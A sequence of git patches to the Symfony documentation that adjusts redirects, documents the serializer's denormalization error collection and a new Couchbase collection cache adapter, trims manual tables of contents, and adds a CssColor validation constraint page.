diff --git a/_build/redirection_map b/_build/redirection_map
index 625066b765a..d3bf8c60980 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -511,3 +511,5 @@
 /components/stopwatch https://github.com/symfony/stopwatch
 /service_container/3.3-di-changes https://symfony.com/doc/3.4/service_container/3.3-di-changes.html
 /testing/functional_tests_assertions /testing#testing-application-assertions
+/components https://symfony.com/components
+/components/index https://symfony.com/components

From eb1ffd3a513594e6154cb7787fab1a52324c5423 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Oct 2021 17:20:41 +0200
Subject: [PATCH 2556/7107] Added the versionadded directive

---
 components/serializer.rst | 16 ++++++++++------
 1 file changed, 10 insertions(+), 6 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 94f2d0fe775..ae0a09f6852 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1176,15 +1176,15 @@ to ``true``::
 
 .. _component-serializer-handling-circular-references:
 
-Collecting type errors while denormalizing
+Collecting Type Errors While Denormalizing
 ------------------------------------------
 
-When denormalizing a payload to an object with type hints, if the payload
-contains a property that doesn't have the same type as the object, an exception
-is thrown.
+When denormalizing a payload to an object with typed properties, you'll get an
+exception if the payload contains properties that don't have the same type as
+the object.
 
-It's possible to collect all exceptions at once, and to get the object partially
-denormalized::
+In those situations, use the ``COLLECT_DENORMALIZATION_ERRORS`` option to
+collect all exceptions at once, and to get the object partially denormalized::
 
     try {
         $dto = $serializer->deserialize($request->getContent(), MyDto::class, 'json', [
@@ -1205,6 +1205,10 @@ denormalized::
         return $this->json($violations, 400);
     }
 
+.. versionadded:: 5.4
+
+    The ``COLLECT_DENORMALIZATION_ERRORS`` option was introduced in Symfony 5.4.
+
 Handling Circular References
 ----------------------------
 

From e8c5ec8c4567e3a836d2538eb8a6d3c25542f947 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Oct 2021 17:21:13 +0200
Subject: [PATCH 2557/7107] Remove a versionadded directive

---
 components/serializer.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index e27ebfec313..2dea695284e 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1193,10 +1193,6 @@ collect all exceptions at once, and to get the object partially denormalized::
         return $this->json($violations, 400);
     }
 
-.. versionadded:: 5.4
-
-    The ``COLLECT_DENORMALIZATION_ERRORS`` option was introduced in Symfony 5.4.
-
 Handling Circular References
 ----------------------------
 

From da91d39e9d2d4bf7c9553a37e41e686be15aad42 Mon Sep 17 00:00:00 2001
From: Antonio Jose Cerezo Aranda <aj.cerezo@gmail.com>
Date: Mon, 30 Aug 2021 16:59:09 +0200
Subject: [PATCH 2558/7107] [Cache] Add CouchbaseCollectionAdapter
 compatibility with sdk 3.0.0

---
 .../adapters/couchbasebucket_adapter.rst      |  10 +-
 .../adapters/couchbasecollection_adapter.rst  | 143 ++++++++++++++++++
 2 files changed, 148 insertions(+), 5 deletions(-)
 create mode 100644 components/cache/adapters/couchbasecollection_adapter.rst

diff --git a/components/cache/adapters/couchbasebucket_adapter.rst b/components/cache/adapters/couchbasebucket_adapter.rst
index 7043a7c3e95..7718c8d4f2c 100644
--- a/components/cache/adapters/couchbasebucket_adapter.rst
+++ b/components/cache/adapters/couchbasebucket_adapter.rst
@@ -22,7 +22,7 @@ is also available.
 
     **Requirements:** The `Couchbase PHP extension`_ as well as a `Couchbase server`_
     must be installed, active, and running to use this adapter. Version ``2.6`` or
-    greater of the `Couchbase PHP extension`_ is required for this adapter.
+    less than 3.0 of the `Couchbase PHP extension`_ is required for this adapter.
 
 This adapter expects a `Couchbase Bucket`_ instance to be passed as the first
 parameter. A namespace and default cache lifetime can optionally be passed as
@@ -32,17 +32,17 @@ the second and third parameters::
 
     $cache = new CouchbaseBucketAdapter(
         // the client object that sets options and adds the server instance(s)
-        \CouchbaseBucket $client,
+        $client,
 
         // the name of bucket
-        string $bucket,
+        $bucket,
 
         // a string prefixed to the keys of the items stored in this cache
-        $namespace = '',
+        $namespace,
 
         // the default lifetime (in seconds) for cache items that do not define their
         // own lifetime, with a value 0 causing items to be stored indefinitely
-        $defaultLifetime = 0,
+        $defaultLifetime
     );
 
 
diff --git a/components/cache/adapters/couchbasecollection_adapter.rst b/components/cache/adapters/couchbasecollection_adapter.rst
new file mode 100644
index 00000000000..18367747dd4
--- /dev/null
+++ b/components/cache/adapters/couchbasecollection_adapter.rst
@@ -0,0 +1,143 @@
+.. index::
+    single: Cache Pool
+    single: Couchabase Cache
+
+.. _couchbase-collection-adapter:
+
+Couchbase Cache Adapter
+=======================
+
+This adapter stores the values in-memory using one (or more) `Couchbase server`_
+instances. Unlike the :ref:`APCu adapter <apcu-adapter>`, and similarly to the
+:ref:`Memcached adapter <memcached-adapter>`, it is not limited to the current server's
+shared memory; you can store contents independent of your PHP environment.
+The ability to utilize a cluster of servers to provide redundancy and/or fail-over
+is also available.
+
+.. caution::
+
+    **Requirements:** The `Couchbase PHP extension`_ as well as a `Couchbase server`_
+    must be installed, active, and running to use this adapter. Version ``3.0`` or
+    greater of the `Couchbase PHP extension`_ is required for this adapter.
+
+This adapter expects a `Couchbase Collection`_ instance to be passed as the first
+parameter. A namespace and default cache lifetime can optionally be passed as
+the second and third parameters::
+
+    use Symfony\Component\Cache\Adapter\CouchbaseCollectionAdapter;
+
+    $cache = new CouchbaseCollectionAdapter(
+        // the client object that sets options and adds the server instance(s)
+        $client,
+
+        // a string prefixed to the keys of the items stored in this cache
+        $namespace,
+
+        // the default lifetime (in seconds) for cache items that do not define their
+        // own lifetime, with a value 0 causing items to be stored indefinitely
+        $defaultLifetime
+    );
+
+
+Configure the Connection
+------------------------
+
+The :method:`Symfony\\Component\\Cache\\Adapter\\CouchbaseCollectionAdapter::createConnection`
+helper method allows creating and configuring a `Couchbase Collection`_ class instance using a
+`Data Source Name (DSN)`_ or an array of DSNs::
+
+    use Symfony\Component\Cache\Adapter\CouchbaseCollectionAdapter;
+
+    // pass a single DSN string to register a single server with the client
+    $client = CouchbaseCollectionAdapter::createConnection(
+        'couchbase://localhost'
+        // the DSN can include config options (pass them as a query string):
+        // 'couchbase://localhost:11210?operationTimeout=10'
+        // 'couchbase://localhost:11210?operationTimeout=10&configTimout=20'
+    );
+
+    // pass an array of DSN strings to register multiple servers with the client
+    $client = CouchbaseCollectionAdapter::createConnection([
+        'couchbase://10.0.0.100',
+        'couchbase://10.0.0.101',
+        'couchbase://10.0.0.102',
+        // etc...
+    ]);
+
+    // a single DSN can define multiple servers using the following syntax:
+    // host[hostname-or-IP:port] (where port is optional). Sockets must include a trailing ':'
+    $client = CouchbaseCollectionAdapter::createConnection(
+        'couchbase:?host[localhost]&host[localhost:12345]'
+    );
+
+
+Configure the Options
+---------------------
+
+The :method:`Symfony\\Component\\Cache\\Adapter\\CouchbaseCollectionAdapter::createConnection`
+helper method also accepts an array of options as its second argument. The
+expected format is an associative array of ``key => value`` pairs representing
+option names and their respective values::
+
+    use Symfony\Component\Cache\Adapter\CouchbaseCollectionAdapter;
+
+    $client = CouchbaseCollectionAdapter::createConnection(
+        // a DSN string or an array of DSN strings
+        [],
+
+        // associative array of configuration options
+        [
+            'username' => 'xxxxxx',
+            'password' => 'yyyyyy',
+            'configTimeout' => '100',
+        ]
+    );
+
+Available Options
+~~~~~~~~~~~~~~~~~
+
+``username`` (type: ``string``)
+    Username for connection ``CouchbaseCluster``.
+
+``password`` (type: ``string``)
+    Password of connection ``CouchbaseCluster``.
+
+``operationTimeout`` (type: ``int``, default: ``2500000``)
+    The operation timeout (in microseconds) is the maximum amount of time the library will
+    wait for an operation to receive a response before invoking its callback with a failure status.
+
+``configTimeout`` (type: ``int``, default: ``5000000``)
+    How long (in microseconds) the client will wait to obtain the initial configuration.
+
+``configNodeTimeout`` (type: ``int``, default: ``2000000``)
+    Per-node configuration timeout (in microseconds).
+
+``viewTimeout`` (type: ``int``, default: ``75000000``)
+    The I/O timeout (in microseconds) for HTTP requests to Couchbase Views API.
+
+``httpTimeout`` (type: ``int``, default: ``75000000``)
+    The I/O timeout (in microseconds) for HTTP queries (management API).
+
+``configDelay`` (type: ``int``, default: ``10000``)
+    Config refresh throttling
+    Modify the amount of time (in microseconds) before the configuration error threshold will forcefully be set to its maximum number forcing a configuration refresh.
+
+``htconfigIdleTimeout`` (type: ``int``, default: ``4294967295``)
+    Idling/Persistence for HTTP bootstrap (in microseconds).
+
+``durabilityInterval`` (type: ``int``, default: ``100000``)
+    The time (in microseconds) the client will wait between repeated probes to a given server.
+
+``durabilityTimeout`` (type: ``int``, default: ``5000000``)
+    The time (in microseconds) the client will spend sending repeated probes to a given key's vBucket masters and replicas before they are deemed not to have satisfied the durability requirements.
+
+.. tip::
+
+    Reference the `Couchbase Collection`_ extension's `predefined constants`_ documentation
+    for additional information about the available options.
+
+.. _`Couchbase PHP extension`: https://docs.couchbase.com/sdk-api/couchbase-php-client/namespaces/couchbase.html
+.. _`predefined constants`: https://docs.couchbase.com/sdk-api/couchbase-php-client/classes/Couchbase-Bucket.html
+.. _`Couchbase server`: https://couchbase.com/
+.. _`Couchbase Collection`: https://docs.couchbase.com/sdk-api/couchbase-php-client/classes/Couchbase-Collection.html
+.. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name

From 15084a836fd70e199a6e2a4f1f5de11e40d6e636 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Oct 2021 17:55:24 +0200
Subject: [PATCH 2559/7107] Add a versionadded directive

---
 components/cache/adapters/couchbasecollection_adapter.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/cache/adapters/couchbasecollection_adapter.rst b/components/cache/adapters/couchbasecollection_adapter.rst
index 18367747dd4..f3aff72e6ac 100644
--- a/components/cache/adapters/couchbasecollection_adapter.rst
+++ b/components/cache/adapters/couchbasecollection_adapter.rst
@@ -7,6 +7,10 @@
 Couchbase Cache Adapter
 =======================
 
+.. versionadded:: 5.4
+
+    The Couchbase Cache Adapter was introduced in Symfony 5.4.
+
 This adapter stores the values in-memory using one (or more) `Couchbase server`_
 instances. Unlike the :ref:`APCu adapter <apcu-adapter>`, and similarly to the
 :ref:`Memcached adapter <memcached-adapter>`, it is not limited to the current server's

From d18dd61ab29af7853e7055a5a7dca280be5298fb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Oct 2021 17:55:59 +0200
Subject: [PATCH 2560/7107] Remove a versionadded directive

---
 components/cache/adapters/couchbasecollection_adapter.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/components/cache/adapters/couchbasecollection_adapter.rst b/components/cache/adapters/couchbasecollection_adapter.rst
index f3aff72e6ac..18367747dd4 100644
--- a/components/cache/adapters/couchbasecollection_adapter.rst
+++ b/components/cache/adapters/couchbasecollection_adapter.rst
@@ -7,10 +7,6 @@
 Couchbase Cache Adapter
 =======================
 
-.. versionadded:: 5.4
-
-    The Couchbase Cache Adapter was introduced in Symfony 5.4.
-
 This adapter stores the values in-memory using one (or more) `Couchbase server`_
 instances. Unlike the :ref:`APCu adapter <apcu-adapter>`, and similarly to the
 :ref:`Memcached adapter <memcached-adapter>`, it is not limited to the current server's

From 6165c5ac01f57993bfc3c0322a5806778aa8f70a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 5 Oct 2021 17:34:44 +0200
Subject: [PATCH 2561/7107] Fix a wrong doc redirection

---
 _build/redirection_map | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/_build/redirection_map b/_build/redirection_map
index d3bf8c60980..4ae8f1ddfcf 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -507,7 +507,7 @@
 /frontend/encore/versus-assetic /frontend
 /components/http_client /http_client
 /components/mailer /mailer
-/messenger/message-recorder messenger/dispatch_after_current_bus
+/messenger/message-recorder /messenger/dispatch_after_current_bus
 /components/stopwatch https://github.com/symfony/stopwatch
 /service_container/3.3-di-changes https://symfony.com/doc/3.4/service_container/3.3-di-changes.html
 /testing/functional_tests_assertions /testing#testing-application-assertions

From 5c24b623262f72a2e625aa7a1305e5c744a0f266 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 7 Oct 2021 16:36:27 +0200
Subject: [PATCH 2562/7107] Remove some Table of Contents which are maintained
 manually

---
 reference/configuration/debug.rst        |   7 -
 reference/configuration/framework.rst    | 267 -----------------------
 reference/configuration/kernel.rst       |   7 -
 reference/configuration/swiftmailer.rst  |  30 ---
 reference/configuration/twig.rst         |  30 ---
 reference/configuration/web_profiler.rst |   6 -
 6 files changed, 347 deletions(-)

diff --git a/reference/configuration/debug.rst b/reference/configuration/debug.rst
index 33a6c656537..e77ee6e7bd6 100644
--- a/reference/configuration/debug.rst
+++ b/reference/configuration/debug.rst
@@ -25,13 +25,6 @@ key in your application configuration.
 Configuration
 -------------
 
-.. rst-class:: list-config-options
-
-* `dump_destination`_
-* `max_items`_
-* `min_depth`_
-* `max_string_length`_
-
 max_items
 ~~~~~~~~~
 
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 14b2ebf091f..53ed8c79539 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -27,273 +27,6 @@ configured under the ``framework`` key in your application configuration.
 Configuration
 -------------
 
-.. rst-class:: list-config-options list-config-options--complex
-
-* `annotations`_
-
-  * :ref:`cache <reference-annotations-cache>`
-  * `debug`_
-  * `file_cache_dir`_
-
-* `assets`_
-
-  * `base_path`_
-  * `base_urls`_
-  * `json_manifest_path`_
-  * `packages`_
-  * `version_format`_
-  * `version_strategy`_
-  * `version`_
-
-* :ref:`cache <reference-cache>`
-
-  * :ref:`app <reference-cache-app>`
-  * `default_doctrine_provider`_
-  * `default_memcached_provider`_
-  * `default_pdo_provider`_
-  * `default_psr6_provider`_
-  * `default_redis_provider`_
-  * `directory`_
-  * `pools`_
-
-    * :ref:`name <reference-cache-pools-name>`
-
-      * `adapter`_
-      * `clearer`_
-      * `default_lifetime`_
-      * `provider`_
-      * `public`_
-      * `tags`_
-
-  * `prefix_seed`_
-  * `system`_
-
-* `csrf_protection`_
-
-  * :ref:`enabled <reference-csrf_protection-enabled>`
-
-* `default_locale`_
-* `disallow_search_engine_index`_
-* `error_controller`_
-* `esi`_
-
-  * :ref:`enabled <reference-esi-enabled>`
-
-* :ref:`form <reference-framework-form>`
-
-  * :ref:`enabled <reference-form-enabled>`
-
-* `fragments`_
-
-  * :ref:`enabled <reference-fragments-enabled>`
-  * `hinclude_default_template`_
-  * :ref:`path <reference-fragments-path>`
-
-* `http_client`_
-
-  * :ref:`default_options <reference-http-client-default-options>`
-
-    * `bindto`_
-    * `buffer`_
-    * `cafile`_
-    * `capath`_
-    * `ciphers`_
-    * :ref:`headers <http-headers>`
-    * `http_version`_
-    * `local_cert`_
-    * `local_pk`_
-    * `max_redirects`_
-    * `no_proxy`_
-    * `passphrase`_
-    * `peer_fingerprint`_
-    * `proxy`_
-    * `resolve`_
-    * `timeout`_
-    * `max_duration`_
-    * `verify_host`_
-    * `verify_peer`_
-
-  * `max_host_connections`_
-  * :ref:`scoped_clients <reference-http-client-scoped-clients>`
-
-    * `scope`_
-    * `auth_basic`_
-    * `auth_bearer`_
-    * `auth_ntlm`_
-    * `base_uri`_
-    * `bindto`_
-    * `buffer`_
-    * `cafile`_
-    * `capath`_
-    * `ciphers`_
-    * :ref:`headers <http-headers>`
-    * `http_version`_
-    * `local_cert`_
-    * `local_pk`_
-    * `max_redirects`_
-    * `no_proxy`_
-    * `passphrase`_
-    * `peer_fingerprint`_
-    * `proxy`_
-    * `query`_
-    * `resolve`_
-    * `timeout`_
-    * `max_duration`_
-    * `verify_host`_
-    * `verify_peer`_
-
-* `http_method_override`_
-* `ide`_
-* :ref:`lock <reference-lock>`
-
-  * :ref:`enabled <reference-lock-enabled>`
-  * :ref:`resources <reference-lock-resources>`
-
-    * :ref:`name <reference-lock-resources-name>`
-
-* `mailer`_
-
-  * :ref:`dsn <mailer-dsn>`
-  * `transports`_
-  * `envelope`_
-
-    * `sender`_
-    * `recipients`_
-
-* `php_errors`_
-
-  * `log`_
-  * `throw`_
-
-* `profiler`_
-
-  * `collect`_
-  * :ref:`dsn <profiler-dsn>`
-  * :ref:`enabled <reference-profiler-enabled>`
-  * `only_exceptions`_
-  * `only_master_requests`_
-
-* `property_access`_
-
-  * `magic_call`_
-  * `throw_exception_on_invalid_index`_
-  * `throw_exception_on_invalid_property_path`_
-
-* `property_info`_
-
-  * :ref:`enabled <reference-property-info-enabled>`
-
-* `request`_:
-
-  * `formats`_
-
-* `router`_
-
-  * `http_port`_
-  * `https_port`_
-  * `resource`_
-  * `strict_requirements`_
-  * :ref:`type <reference-router-type>`
-  * `utf8`_
-
-* `secret`_
-* `secrets`_
-
-  * `decryption_env_var`_
-  * `local_dotenv_file`_
-  * `vault_directory`_
-
-* `serializer`_
-
-  * :ref:`circular_reference_handler <reference-serializer-circular_reference_handler>`
-  * :ref:`enable_annotations <reference-serializer-enable_annotations>`
-  * :ref:`enabled <reference-serializer-enabled>`
-  * :ref:`mapping <reference-serializer-mapping>`
-
-    * :ref:`paths <reference-serializer-mapping-paths>`
-
-  * :ref:`name_converter <reference-serializer-name_converter>`
-
-* `session`_
-
-  * `cache_limiter`_
-  * `cookie_domain`_
-  * `cookie_httponly`_
-  * `cookie_lifetime`_
-  * `cookie_path`_
-  * `cookie_samesite`_
-  * `cookie_secure`_
-  * :ref:`enabled <reference-session-enabled>`
-  * `gc_divisor`_
-  * `gc_maxlifetime`_
-  * `gc_probability`_
-  * `handler_id`_
-  * `metadata_update_threshold`_
-  * `name`_
-  * `save_path`_
-  * `sid_length`_
-  * `sid_bits_per_character`_
-  * `storage_id`_
-  * `use_cookies`_
-
-* `templating`_
-
-  * :ref:`cache <reference-templating-cache>`
-  * `engines`_
-  * :ref:`form <reference-templating-form>`
-
-    * :ref:`resources <reference-templating-form-resources>`
-
-  * `loaders`_
-
-* `test`_
-* `translator`_
-
-  * `cache_dir`_
-  * :ref:`default_path <reference-translator-default_path>`
-  * :ref:`enabled <reference-translator-enabled>`
-  * `fallbacks`_
-  * `formatter`_
-  * `logging`_
-  * :ref:`paths <reference-translator-paths>`
-
-* `trusted_hosts`_
-* `trusted_proxies`_
-* `validation`_
-
-  * :ref:`cache <reference-validation-cache>`
-  * `email_validation_mode`_
-  * :ref:`enable_annotations <reference-validation-enable_annotations>`
-  * :ref:`enabled <reference-validation-enabled>`
-  * :ref:`mapping <reference-validation-mapping>`
-
-    * :ref:`paths <reference-validation-mapping-paths>`
-
-  * :ref:`not_compromised_password <reference-validation-not-compromised-password>`
-
-    * :ref:`enabled <reference-validation-not-compromised-password-enabled>`
-    * `endpoint`_
-
-  * `static_method`_
-  * `strict_email`_
-  * `translation_domain`_
-
-* `web_link`_
-* `workflows`_
-
-  * :ref:`enabled <reference-workflows-enabled>`
-  * :ref:`name <reference-workflows-name>`
-
-    * `audit_trail`_
-    * `initial_marking`_
-    * `marking_store`_
-    * `metadata`_
-    * `places`_
-    * `supports`_
-    * `support_strategy`_
-    * `transitions`_
-    * :ref:`type <reference-workflows-type>`
-
 secret
 ~~~~~~
 
diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index 5cb1f8ea781..1c57afed784 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -11,13 +11,6 @@ the parent :class:`Symfony\\Component\\HttpKernel\\Kernel` class.
 Configuration
 -------------
 
-* `Charset`_
-* `Kernel Name`_
-* `Project Directory`_
-* `Cache Directory`_
-* `Log Directory`_
-* `Container Build Time`_
-
 .. _configuration-kernel-charset:
 
 Charset
diff --git a/reference/configuration/swiftmailer.rst b/reference/configuration/swiftmailer.rst
index a83e86aa651..f88a28aaf29 100644
--- a/reference/configuration/swiftmailer.rst
+++ b/reference/configuration/swiftmailer.rst
@@ -25,36 +25,6 @@ to :doc:`send emails </email>`. All these options are configured under the
 Configuration
 -------------
 
-.. rst-class:: list-config-options list-config-options--complex
-
-* `antiflood`_
-
-  * `sleep`_
-  * `threshold`_
-
-* `auth_mode`_
-* `command`_
-* `delivery_addresses`_
-* `delivery_whitelist`_
-* `disable_delivery`_
-* `encryption`_
-* `host`_
-* `local_domain`_
-* `logging`_
-* `password`_
-* `port`_
-* `sender_address`_
-* `source_ip`_
-* `spool`_
-
-  * `path`_
-  * `type`_
-
-* `timeout`_
-* `transport`_
-* `url`_
-* `username`_
-
 url
 ~~~
 
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 5fc8b95313c..40708ce2fd9 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -25,36 +25,6 @@ under the ``twig`` key in your application configuration.
 Configuration
 -------------
 
-.. rst-class:: list-config-options list-config-options--complex
-
-* `auto_reload`_
-* `autoescape`_
-* `autoescape_service`_
-* `autoescape_service_method`_
-* `base_template_class`_
-* `cache`_
-* `charset`_
-* `date`_
-
-  * `format`_
-  * `interval_format`_
-  * `timezone`_
-
-* `debug`_
-* `default_path`_
-* `exception_controller`_
-* `form_themes`_
-* `globals`_
-* `number_format`_
-
-  * `decimals`_
-  * `decimal_point`_
-  * `thousands_separator`_
-
-* `optimizations`_
-* `paths`_
-* `strict_variables`_
-
 auto_reload
 ~~~~~~~~~~~
 
diff --git a/reference/configuration/web_profiler.rst b/reference/configuration/web_profiler.rst
index 83f92e215a5..9d3ddb088f5 100644
--- a/reference/configuration/web_profiler.rst
+++ b/reference/configuration/web_profiler.rst
@@ -30,12 +30,6 @@ under the ``web_profiler`` key in your application configuration.
 Configuration
 -------------
 
-.. rst-class:: list-config-options
-
-* `excluded_ajax_paths`_
-* `intercept_redirects`_
-* `toolbar`_
-
 excluded_ajax_paths
 ~~~~~~~~~~~~~~~~~~~
 

From 6d538e5e1002db8de2f22568124a0e676a94b231 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Thu, 7 Oct 2021 20:24:05 +0200
Subject: [PATCH 2563/7107] [Form] Add missing "extends AbstractType"

---
 form/form_themes.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/form_themes.rst b/form/form_themes.rst
index 1b5a3594a2d..92f08b5de4b 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -337,7 +337,7 @@ following complex example where a ``TaskManagerType`` has a collection of
         }
     }
 
-    class TaskType
+    class TaskType extends AbstractType
     {
         public function buildForm(FormBuilderInterface $builder, array $options = []): void
         {

From fc1539ce76316e68f884e47824baf902eef3b9dd Mon Sep 17 00:00:00 2001
From: Mathieu Santostefano <msantostefano@jolicode.com>
Date: Fri, 12 Feb 2021 16:48:14 +0100
Subject: [PATCH 2564/7107] Added CssColor constraint

---
 reference/constraints.rst          |   1 +
 reference/constraints/CssColor.rst | 270 +++++++++++++++++++++++++++++
 reference/constraints/map.rst.inc  |   1 +
 3 files changed, 272 insertions(+)
 create mode 100644 reference/constraints/CssColor.rst

diff --git a/reference/constraints.rst b/reference/constraints.rst
index 56acb087114..34ed5d08dab 100644
--- a/reference/constraints.rst
+++ b/reference/constraints.rst
@@ -76,6 +76,7 @@ Validation Constraints Reference
    constraints/NotCompromisedPassword
    constraints/Valid
    constraints/Traverse
+   constraints/CssColor
 
 The Validator is designed to validate objects against *constraints*.
 In real life, a constraint could be: "The cake must not be burned". In
diff --git a/reference/constraints/CssColor.rst b/reference/constraints/CssColor.rst
new file mode 100644
index 00000000000..894325cb2e4
--- /dev/null
+++ b/reference/constraints/CssColor.rst
@@ -0,0 +1,270 @@
+CssColor
+=========
+
+Validates that a value is a valid CSS color. The underlying value is
+casted to a string before being validated.
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Options     - `groups`_
+            - `message`_
+            - `formats`_
+            - `payload`_
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\CssColor`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CssColorValidator`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Entity/Bulb.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Bulb
+        {
+            /**
+             * @Assert\CssColor(
+             *     formats = { Assert\CssColor::HEX_LONG }
+             *     message = "The color '{{ value }}' is not a valid CSS color."
+             * )
+             */
+            protected $defaultColor;
+
+            /**
+             * @Assert\CssColor(
+             *     formats = Assert\CssColor::BASIC_NAMED_COLORS
+             *     message = "The color '{{ value }}' is not a valid CSS color."
+             * )
+             */
+            protected $currentColor;
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Entity/Bulb.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Bulb
+        {
+            #[Assert\CssColor(
+                formats: [Assert\CssColor::HEX_LONG]
+                message: 'The color '{{ value }}' is not a valid CSS color.',
+            )]
+            protected $defaultColor;
+
+            #[Assert\CssColor(
+                formats: Assert\CssColor::BASIC_NAMED_COLORS
+                message: 'The color '{{ value }}' is not a valid CSS color.',
+            )]
+            protected $currentColor;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\Bulb:
+            properties:
+                defaultColor:
+                    - CssColor:
+                        formats: [ !php/const Symfony\Component\Validator\Constraints\CssColor::HEX_LONG ]
+                        message: The color "{{ value }}" is not a valid CSS color.
+                currentColor:
+                    - CssColor:
+                        formats: !php/const Symfony\Component\Validator\Constraints\CssColor::BASIC_NAMED_COLORS
+                        message: The color "{{ value }}" is not a valid CSS color.
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\Bulb">
+                <property name="currentColor">
+                    <constraint name="CssColor">
+                        <option name="formats">
+                            <value>hex_long</value>
+                        </option>
+                        <option name="message">The color "{{ value }}" is not a valid CSS color.</option>
+                    </constraint>
+                </property>
+                <property name="defaultColor">
+                    <constraint name="CssColor">
+                        <option name="formats">basic_named_colors</option>
+                        <option name="message">The color "{{ value }}" is not a valid CSS color.</option>
+                    </constraint>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/Bulb.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class Bulb
+        {
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addPropertyConstraint('defaultColor', new Assert\CssColor([
+                    'formats' => [Assert\CssColor::HEX_LONG],
+                    'message' => 'The color "{{ value }}" is not a valid CSS color.',
+                ]));
+
+                $metadata->addPropertyConstraint('currentColor', new Assert\CssColor([
+                    'formats' => Assert\CssColor::BASIC_NAMED_COLORS,
+                    'message' => 'The color "{{ value }}" is not a valid CSS color.',
+                ]));
+            }
+        }
+
+.. include:: /reference/constraints/_empty-values-are-valid.rst.inc
+
+Options
+-------
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+message
+~~~~~~~
+
+**type**: ``string`` **default**: ``This value is not a valid CSS color.``
+
+This message is shown if the underlying data is not a valid CSS color.
+
+You can use the following parameters in this message:
+
+===============  ==============================================================
+Parameter        Description
+===============  ==============================================================
+``{{ value }}``  The current (invalid) value
+===============  ==============================================================
+
+formats
+~~~~~~~
+
+**type**: ``string`` | ``array``
+
+This option is optional and defines the pattern the CSS color is validated against.
+Valid values are:
+
+* ``hex_long``
+* ``hex_long_with_alpha``
+* ``hex_short``
+* ``hex_short_with_alpha``
+* ``basic_named_colors``
+* ``extended_named_colors``
+* ``system_colors``
+* ``keywords``
+* ``rgb``
+* ``rgba``
+* ``hsl``
+* ``hsla``
+
+hex_long
+........
+
+A regular expression. Allows all values which represent a CSS color
+of 6 characters (in addition of the leading ``#``) and contained in ranges: 0 to 9 and A to F (case insensitive).
+
+Examples: ``#2F2F2F``, ``#2f2f2f``
+
+hex_long_with_alpha
+...................
+
+A regular expression. Allows all values which represent a CSS color with alpha part
+of 8 characters (in addition of the leading ``#``) and contained in ranges: 0 to 9 and A to F (case insensitive).
+
+Examples: ``#2F2F2F80``, ``#2f2f2f80``
+
+hex_short
+.........
+
+A regular expression. Allows all values which represent a CSS color
+of strictly 3 characters (in addition of the leading ``#``) and contained in ranges: 0 to 9 and A to F (case insensitive).
+
+Examples: ``#CCC``, ``#ccc``
+
+hex_short_with_alpha
+....................
+
+A regular expression. Allows all values which represent a CSS color with alpha part
+of strictly 4 characters (in addition of the leading ``#``) and contained in ranges: 0 to 9 and A to F (case insensitive).
+
+Examples: ``#CCC8``, ``#ccc8``
+
+basic_named_colors
+..................
+
+Accordingly to the `W3C list of basic named colors`_, it allows to use colors by their names (case insensitive).
+
+Examples: ``black``, ``red``, ``green``
+
+extended_named_colors
+.....................
+
+Accordingly to the `W3C list of extended named colors`_, it allows to use colors by their names (case insensitive).
+
+Examples: ``aqua``, ``brown``, ``chocolate``
+
+system_colors
+.............
+
+Accordingly to the `CSS WG list of system colors`_, it allows to use colors by their names (case insensitive).
+
